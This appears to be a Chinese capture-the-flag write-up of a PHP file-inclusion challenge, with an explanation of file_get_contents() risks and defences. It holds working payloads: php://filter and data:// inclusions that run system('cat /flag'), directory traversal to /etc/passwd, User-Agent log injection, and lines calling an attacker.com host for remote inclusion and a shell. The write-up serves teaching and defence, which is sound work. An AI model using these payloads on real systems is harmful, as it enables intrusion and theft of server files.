【攻防世界】 web | fileclude 详细题解WP
【攻防世界】 web | fileclude 详细题解WP
打开环境

首先代码审计阅读代码,有include()函数并且有GET传参的file1、file2的两个参数,猜测是文件包含伪协议题目
文件包含伪协议【攻防世界】 web | file_include详细题解WP-CSDN博客在我的一篇博客中有过一些详细的介绍,需要的话可以看看
核心突破点在于:
- file_get_contents($file2) === "hello ctf":需构造文件 2 内容为 "hello ctf"
- include($file1):利用文件包含漏洞执行代码或读取 flag
$file1为include()函数包含,$file2为file_get_contents()函数包含,include()函数包含是我们常见的文件包含伪协议,这里重点介绍file_get_contents()文件包含伪协议
file_get_contents() 用于将整个文件读入一个字符串,类似 readfile() 但返回内容而非直接输出。常用于:
- 读取本地文件:
$content = file_get_contents('/path/to/file.txt'); - 读取远程文件(需
allow_url_fopen=On):$content = file_get_contents('https://example.com/data.json');
这里构造payload:
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf

file2要用data://协议构造数据流,使它当作php文件,data://伪协议的格式为
data://text/plain
base64解密即可得到flag

cyberpeace{e556212a081da9adbbc1065e148b63ab}
一、PHP file_get_contents() 函数深度解析
一、函数基础用法与特性
1. 核心功能
file_get_contents() 用于将整个文件读入一个字符串,类似 readfile() 但返回内容而非直接输出。常用于:
- 读取本地文件:
$content = file_get_contents('/path/to/file.txt'); - 读取远程文件(需
allow_url_fopen=On):$content = file_get_contents('https://example.com/data.json');
2. 关键参数
string file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] )
$context:自定义流上下文(可用于设置 HTTP 头、代理等)$offset:从文件的指定位置开始读取$maxlen:限制读取的最大字节数
3. 特性总结
| 特性 | 详情 |
|---|---|
| 支持 URL | 需 PHP.ini 开启 allow_url_fopen |
| 二进制安全 | 可读取图片、压缩包等非文本文件 |
| 上下文支持 | 通过 stream_context_create() 设置请求头、超时等 |
| 伪协议支持 | 可通过 php://, data:// 等协议操作特殊资源 |
二、安全风险与绕过技术
1. 本地文件包含(LFI)风险
-
漏洞场景:
// 未过滤的用户输入作为文件名 $file = $_GET['file']; echo file_get_contents($file); // 可读取任意文件 -
常见绕过技巧:
- 目录遍历:
?file=../../../../../etc/passwd - 伪协议读取:
?file=php://filter/convert.base64-encode/resource=/etc/passwd - 空字节截断(PHP 5.3.4 之前):
?file=secret.php%00.jpg
- 目录遍历:
2. 远程文件包含(RFI)风险
-
条件:
allow_url_fopen=On且allow_url_include=On -
利用方式:
// 远程加载恶意PHP文件 ?file=http://attacker.com/shell.php
3. 绕过常见过滤机制
| 过滤规则 | 绕过方法 |
|---|---|
禁止 / 字符 |
使用 ..\(Windows)或 URL 编码 / 为 %2f |
限制 .php 后缀 |
使用 php://input 或 data:// 协议 |
| 检查文件扩展名 | 利用 php://filter 协议读取非 PHP 文件并解析为 PHP:?file=php://filter/convert.base64-encode/resource=flag.php |
| 白名单验证 | 利用目录遍历突破限制:?file=allowed_dir/../../etc/passwd |
三、高级利用技术
1. 利用 php:// 伪协议
| 协议 | 用途 |
|---|---|
php://input |
读取原始 POST 数据(可绕过文件存在检查):file=php://input + POST 请求体包含 PHP 代码 |
php://filter |
内容过滤(如 Base64 编码输出):file=php://filter/convert.base64-encode/resource=flag.php |
php://memory |
临时内存文件:file=php://memory + 通过上下文写入内容 |
2. 利用 data:// 协议执行代码
// 直接执行PHP代码
?file=data://text/plain,<?php system('cat /flag');?>
// Base64编码绕过过滤
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
3. 日志注入攻击
若应用记录用户输入到日志文件(如 access.log),可通过 HTTP 头注入 PHP 代码:
User-Agent: <?php system('cat /flag');?>
然后通过 file_get_contents() 读取日志文件执行代码。
四、防御措施
1. 输入验证与过滤
// 白名单验证(推荐)
$whitelist = ['file1.txt', 'file2.txt'];
if(!in_array($filename, $whitelist)) {
die('非法文件请求');
}
// 正则过滤(仅允许合法文件名)
if(!preg_match('/^[a-zA-Z0-9_.-]+$/', $filename)) {
die('文件名包含非法字符');
}
2. 禁用危险协议
在 php.ini 中配置:
allow_url_fopen = Off
allow_url_include = Off
3. 安全的文件路径处理
// 使用realpath()验证文件是否在允许目录内
$safeDir = '/var/www/uploads/';
$realPath = realpath($filename);
if(!$realPath || strpos($realPath, $safeDir) !== 0) {
die('禁止访问该文件');
}
4. 内容验证强化
// 验证文件类型而非扩展名
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($filename);
if($mimeType !== 'text/plain') {
die('文件类型不允许');
}
五、实战案例与工具
1. 漏洞扫描工具
-
Burp Suite:使用 Repeater 模块测试 LFI/RFI 漏洞
-
Wfuzz:自动化目录遍历测试
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 "http://target.com/index.php?file=FUZZ"
2. 防御测试工具
-
PHP 配置检查:
php -i | grep "allow_url_fopen" -
安全编码辅助:使用 PHP_CodeSniffer 检测不安全的文件操作。
六、总结
1. 安全使用准则
- 永远不要直接将用户输入作为
file_get_contents()的参数 - 优先使用白名单而非黑名单过滤
- 禁用不必要的 PHP 伪协议和远程文件访问
2. 漏洞修复优先级
- 修复输入验证问题
- 禁用
allow_url_fopen和allow_url_include - 对敏感文件设置严格的文件权限
理解 file_get_contents() 的安全风险与绕过技术,是 CTF 竞赛和实际安全工作中的核心技能。通过系统化的防御措施,可以有效降低文件包含类漏洞的风险。
二、PHP 文件包含漏洞解析
一、漏洞类型与关键分析
这是一道典型的PHP 文件包含漏洞结合任意文件读取的复合题目。核心突破点在于:
- file_get_contents($file2) === "hello ctf":需构造文件 2 内容为 "hello ctf"
- include($file1):利用文件包含漏洞执行代码或读取 flag
二、漏洞利用思路
1. 构造文件 2 内容为 "hello ctf"
方法一:数据协议 (data://)
file2=data://text/plain,hello%20ctf
- 原理:PHP 的 data 协议允许直接传输数据
- 注意:URL 编码空格为 %20
方法二:PHP 伪协议 (php://input)
POST请求:
file2=php://input
请求体:hello ctf
- 原理:php://input 可读取原始 POST 数据
2. 利用文件包含漏洞
目标 1:读取 flag.php
file1=php://filter/convert.base64-encode/resource=flag.php
- 原理:PHP filter 协议可将文件内容 Base64 编码输出
- 步骤:
- 触发漏洞获取 Base64 编码的 flag
- 解码得到原始内容
目标 2:执行 PHP 代码
file1=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
- 原理:data 协议执行 Base64 编码的 PHP 代码
- 对应代码:``
三、完整攻击 Payload
1. 读取 flag.php(推荐)
GET /?file1=php://filter/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf
-
响应示例:
PD9waHAgJGZsYWcgPSAiY3Rme2ZsYWdfaGVyZV9hcmVfMjAyM30iOyA/Pg== -
解码后:
<?php $flag = "ctf{flag_here_are_2023}"; ?>
2. 执行系统命令(需环境支持)
GET /?file1=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==&file2=data://text/plain,hello%20ctf
- 原理:执行
cat /flag命令
四、防御措施与安全建议
1. 禁用危险协议
// php.ini配置
allow_url_fopen = off
allow_url_include = off
2. 严格验证文件路径
// 白名单验证
$whitelist = ['/path/to/allowed/file1.php', '/path/to/allowed/file2.php'];
if(!in_array($file1, $whitelist)) {
die("非法文件");
}
3. 内容验证改进
// 使用更安全的文件验证方式
if(hash_file('sha256', $file2) === "预计算的哈希值") {
include($file1);
}
五、进阶技巧与拓展
1. 绕过 disable_functions
若 system () 等函数被禁用,可尝试:
// 利用fsockopen连接反弹shell
$fp = fsockopen("attacker.com", 1234, $errno, $errstr, 30);
fwrite($fp, "GET /shell.php HTTP/1.1\r\nHost: attacker.com\r\n\r\n");
2. 日志注入攻击
若日志文件可访问,可通过 User-Agent 注入 PHP 代码:
User-Agent: <?php system('cat /flag');?>
file1=/var/log/apache2/access.log
六、总结
本题考察了以下 CTF 核心技能:
- PHP 伪协议的灵活运用(data://, php://filter)
- 文件包含与内容验证的绕过
- 代码执行与信息泄露的组合攻击
在实战中,需注意:
- 不同 PHP 版本对伪协议的支持差异
- 服务器配置(如 open_basedir 限制)
- 字符过滤与编码绕过技巧
建议使用工具辅助测试:
- BurpSuite:拦截修改请求
- CyberChef:快速 Base64 编解码
- Wappalyzer:识别目标 PHP 版本

浙公网安备 33010602011771号